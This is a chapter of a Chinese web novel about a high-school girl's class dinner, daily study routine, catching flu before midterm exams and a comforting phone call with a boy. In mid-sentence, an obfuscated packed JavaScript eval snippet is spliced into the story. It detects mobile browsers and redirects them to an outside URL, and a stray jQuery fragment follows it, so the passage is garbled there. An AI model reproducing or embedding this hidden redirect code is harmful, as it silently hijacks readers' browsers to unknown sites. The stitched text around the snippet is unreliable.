董老师定了几个包厢,看着这群嗷嗷待哺的家伙们。
“点多点没关系,但不要浪费了。”
“好!”
安纾和许洛都带了相机。
安纾正好利用这个机会向许洛询问怎么调参数,两人凑在一起谈论,王柔在旁边拿串递给她们。
“柔柔!”
调完后,安纾举起相机喊了声王柔,王柔朝她看去,见相机对着自己,下意识地腼腆一笑。
闪光灯亮起,吸引了大家的注意。
安纾将显示屏递给王柔看。
“好看!”王柔点头,表示满意。
大家听到后开始起哄,说给自己也拍张。
“洛洛拍的更好看。”安纾轻轻拍了拍许洛的手臂,笑着说。
“那许洛可以帮我拍一张吗?”
“求求了。”
女生们做出拜托的手势。
许洛看了眼安纾,冲她眨了眨眼,“当然可以。”
安纾拿起烤串吃了起来,将肉串放进碗里,拿筷子递给许洛。
“柔柔,这张照片我回去发给你。”
“嗯。”
安纾举起相机,拍了拍正在拍别人的许洛,又对着谈笑的大家。
有人看见她的镜头,冲着她比了个耶。
她停下,翻看拍下的照片,里面的大家鲜活热烈,虽然脸上带着藏不住的黑眼圈。
有人拉过董老师,冲着安纾喊道:“安纾,帮我和老师拍个合照呗。”
“好。”
“哎呀。”董老师开始还有些别扭,看到摄像头后,脸上带笑,右手举起比了个耶。
“大家真好看。”安纾说,“再多来几张。”
渐渐地和老师合照的人增多。
安纾将相机交给服务员,麻烦她帮大家拍张合照。
隔壁包厢的人听说要合照,纷纷跑了过来。
“三,二,一!茄子!”
照片定格,安纾想自己会永远记得这一刻。
董老师之前说可以去大学找寻一下高三坚持下去的动力,但她想好的班级氛围其实也是大家可以坚持下去的动力吧。
回家后,安纾洗了个头,洗掉了身上的那股烧烤味。
她坐在电脑前,开始选照片。
“这张洛洛很好看,特别专业的感觉。”
“这张也不错。”
“天呐,这张笑的也太有氛围了吧。”
“哇,这个参数好好用。”
照片太多,但安纾选的很开心,自言自语说了好多。
翻到那张合照时,安纾手上动作停了停。
董老师在c位,周围的大家笑的眼睛弯弯,有人抱着旁边人胳膊,有人和旁边人比着爱心。
她拿起手机,拍了下来,发在了三禾湖的群里。
安纾:绝了,迫不及待想给你们看看
许洛:哇,我要保存下来
王柔:加一
温芝芝:你们班这是聚餐了?
许洛:嗯嗯!
温芝芝:有人生日吗?
安纾:不是,董老师给我们班的奖励
王柔:是的,物理和生物排第二的奖励
温芝芝:真好
谢知年:嗯?我们班为什么没有
安纾:啊,不知道,可能你们班主任不是董老师吧
周聿:我们班也发了奖励,只不过没有出去吃,老师请我们喝奶茶
许洛:哇,为什么?
周聿:这次有几科排了文科年级第二
温芝芝:嗯?为什么我们班也没有
安纾看到这句话后笑出了声。
没办法,这两个班当第一是很理所当然的事,就不会想着说给什么奖励。
界面返回,安纾看到在最上面的陈时书。
想了想太晚了,还是退了出来。
照片发到班级群后,收获了一众好评。
各自认领完自己的照片,安纾私发给许洛自己偷拍她的那一张,没想到对方也发过来一张,是许洛偷拍的她。
安纾:默契
许洛:默契
聚餐热闹结束后,正好是国庆节,怀中给高三的国庆假并不多。
就算是放假,大家也都跑来学校自习,并不放松。
日子慢慢回归平静。
不知道是不是每天过着重复的生活,让安纾觉得时间过的越来越快。
理综的训练越来越多,安纾也能习惯理综的节奏,只不过她考不过别人。
总能看到语文课上,大家偷偷刷着理综题。
每次看到这些,安纾总会纠结会自己要不要也这样干。
但转念一想,也不差这点时间。
体育课上,老师要求测一下大家八百米成绩。
安纾站在跑道上,太久没运动,刚跑不久,呼吸就开始不稳,等她跑完后,整个人气喘吁吁,身上出了不少的汗。
“高三成绩重要,身体也一样重要,也要注重锻炼啊。”
看着这群学生跑完感觉要猝死的样子,体育老师语重心长地说。
“而且,最后体育也要考试的,总不能不及格吧。”
安纾站在原地听完老师说的话,淡淡地点头。
确实,长时间坐着,身体也受不住。
老师说完自由活动。
好多人往阴凉处走去,手上掏出一张试卷在旁边写了起来。
安纾其实也带了,但听到老师这么一说,她有些不想写。
她从器材室里,拿出一副乒乓球拍。
“打球吗?”
“行。”
安纾拉了个人就开始一起。
除了偶尔风吹到身上觉得有些凉凉的以外,其他都还好。
安纾还感慨自己的球技没有退步。
只是对方球技一般,时间基本上在捡球中度过。
捡球捡出汗,也算是锻炼了。
下课后回到教室,打完球的男生们霸占了后方的空调,他们将空调板拉到中间,冷风穿过缝隙。
冷风吹过身上出的薄汗,安纾感觉有些冷,回头看了眼,还是没说话。
总不能让他们滚蛋,然后把空调板打上去吧。
下节课是物理,吴老师进来后,看着后面的空调。
“都快十月底,别开这么低的温度,到时候感冒,耽误学习。”
安纾默默点头。
回家晚上,她就发觉不对劲。
一般回家后,安纾还会学一会,但今天整个人实在提不力气。
早早地就上床休息了。
结果第二天还是这样,安纾就知道自己应该感冒了。
整个人木木地坐着,看着面前的试卷,迷迷糊糊中,眼睛什么时候闭上的都不知道,最后还是被老师站在讲台上的说话声吵醒。
“明后两天就是期中考试了,今天需要搬一下桌子,准备考场。”
听到这话时,安纾脑子里只有一个念头。
日子真快啊,又要考试了。
“小纾你没事吧?”许洛看着安纾有些泛红的脸,伸手去摸她的脑袋,在安纾期待的眼神中默默说了句,“我感受不出来。”
“没事的。”安纾摇摇头。
强撑完一个上午,吃完午饭后,安纾脑袋还是晕乎乎的,于是向董老师请了假。
“喂,妈妈。”安纾回家后拿起手机,打了电话,“我好像发烧了。”
家里空无一人。
耳边是李玉芬女士担忧的声音,她出声安慰道:“没事的妈。”
“最近流感严重,你去诊所看看要不要吊盐水。”
“好。”
安纾听李玉芬女士话从家里取了几百块钱,背着书包往诊所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916086|152862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方向走去。
在诊所量完体温,确实发烧了。
“打针还是吃药。”
“医生我这是流感吗?”安纾问。
“可以测一下。”
结果显示是流感。
明天就要考试了,安纾担心吃药好的慢,便说打针吧。
坐在那里,看着旁边手上打着针管的人,心里突然有些不确定。
她现在自己一个人在这里打针。
想想觉得有点可怜。
当针管穿进皮肤,血液在倒流,一瞬间的刺痛结束,剩下只有液体的流动,顺着血管一起。
安纾看着自己被包住的左手,好在打的是左手,右手还能写东西。
她拍了张照发在群里,告诉李玉芬女士自己来打针了,她下班回来记得给她带好吃的。
还顺带得到了她爸的安慰。
想了想,安纾给陈时书也发了过去。
或许也能得到陈时书的安慰。
没几秒,电话响起。
安纾发现陈时书真的很喜欢打电话。
“怎么回事?”声音有些急促,安纾听出话里的担心。
“发烧了。”怕吵到别人,安纾声音压低。
传到陈时书耳边就是有气无力的虚弱。
“你现在在打针?”
“嗯。”
“一个人?”
“嗯。”
耳边沉默,安纾想象不到这片沉默背后陈时书现在的样子。
她笑着说:“陈时书,我感觉距离我上次打针都是好久以前的事情了。”
是的,很久以前。
因为大多数时候,吃药就好了。
“温度高吗?”
“还好,正常发烧的温度。”
实际上是已经突破39度的高温。
“陈时书,你不要用这种语气和我讲话,这样显得我很可怜。”
被安纾逗笑,“你现在不就很可怜吗?”
“不可怜,打针而已。”
安纾看了眼自己吊瓶的数量,“我只需要打三瓶小的就好了。”
“那很快。”
“嗯,打完我就回去休息一下,明天要考试。”
“明天考试?”
“是呀,期中考。”安纾补充道,“打完针应该会好很多,不会影响明天的考试。”
“谁担心明天的考试啊。”陈时书声音闷闷地。
“我担心啊。”安纾没听出来陈时书话语里的情绪,认真地说,“我很担心,明天第一次考理综,按照高考的考试安排,还是很重要的。”
“行,加油。”
“嗯,不说了,我写作业了。”安纾打算看会错题,准备挂断电话。
“带耳机了吗?”
没想到陈时书这么说,按下挂断键的手指顿了顿。
“嗯?”安纾愣了下,“带了。”
“那就不挂电话。”
“嗯?”
“让我以这种方式陪陪你吧,我也没有别的办法了。”
耳机里传来陈时书的呼吸声,还有翻页的声音。
安纾手上写着解题过程,最后一步写完后,笔尖停顿在纸上。
陈时书的最后一句话一直怀绕在她耳边,一字一句越来越清晰。
脑袋抑制不住想了很多。
他说这话时的语气,他流露的情绪,在安纾脑海中重复一遍又一遍。
“陈时书。”安纾突然开口。
那边翻页声音停止,陈时书懒懒地声音传来,“嗯?”
“谢谢你。”
谢谢你关心我,谢谢你陪着我。
“又不是真的陪,只能用这种方式。”陈时书自嘲地笑笑。
“已经很好了。”安纾说。
回想起陈时书说的话,她继续开口:“我们可以一周通一次电话吗?”